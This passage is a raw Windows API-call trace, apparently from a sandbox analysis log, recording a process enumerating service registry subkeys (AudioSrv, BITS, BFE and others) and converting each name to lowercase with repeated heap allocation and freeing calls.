[0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.502] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.502] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.503] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.503] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.503] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0218.503] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.503] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.503] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0218.504] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.504] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0218.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.505] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.506] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.506] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.506] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0218.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.507] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.507] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.507] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.507] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0218.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0218.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0218.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) 